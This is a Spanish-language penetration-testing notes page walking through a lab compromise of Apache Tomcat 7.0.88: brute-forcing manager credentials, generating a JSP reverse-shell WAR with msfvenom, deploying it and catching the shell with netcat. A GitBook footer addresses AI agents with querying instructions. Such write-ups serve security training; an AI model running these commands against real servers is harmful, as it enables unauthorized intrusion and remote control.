> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# Archivo WAR de Tomcat

El puerto 8080 aloja **Apache Tomcat**. `whatweb` identifica la versión **7.0.88**, que se sabe que es vulnerable.

<div data-full-width="true"><figure><img src="/files/fb18cee9c9f68b5210bae0b48769f9aac92b8986" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/fc4fb92fa9dca51f9a25b6c86dbf134c2287633b" alt=""><figcaption></figcaption></figure>

### Fuga de información

**Inicio de sesión del panel de administración**

<figure><img src="/files/e2202a8e9c2a5f7d674b4200c1be21667b196ca6" alt=""><figcaption></figcaption></figure>

Intenta acceder a `/manager/html` con credenciales predeterminadas como `admin:admin`, pero falla.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**Ataque de fuerza bruta de credenciales**

Usa la lista SecLists `tomcat-betterdefaultpasslist.txt` para realizar fuerza bruta de credenciales:

Usa un script de Python para automatizar esta tarea:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Resultado:** Las credenciales válidas son:/ `tomcat:s3cret`

<figure><img src="/files/541c72109120a764fef90b3924335f08ef8ffaed" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/72d141d32c6a8a5fee5d925bf67530f093adbbdd" alt=""><figcaption></figcaption></figure>

### Vulnerabilidad de Tomcat:

**1. Generación del archivo WAR:**/ Usar `msfvenom` para crear un archivo WAR que contenga una shell inversa:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/ac1db4f8e926e5ff5b426741697c91678a72baeb" alt=""><figcaption></figcaption></figure>

**2. Despliegue a través de Tomcat Manager:**/ Sube el archivo WAR a través de `/manager/html`.

<figure><img src="/files/62dc43b2706028b171816e4526f30ca542467124" alt="" width="563"><figcaption></figcaption></figure>

**3. Escucha de la shell inversa:**/ Configura un listener para capturar la conexión inversa:

```bash
rlwrap nc -nlvp 443
```

Al ejecutar el archivo desplegado (`/reverse`) proporciona una shell interactiva en el objetivo.

<figure><img src="/files/f2c3816d0961ccaa59467b03e77c9eaa1fbd5d04" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
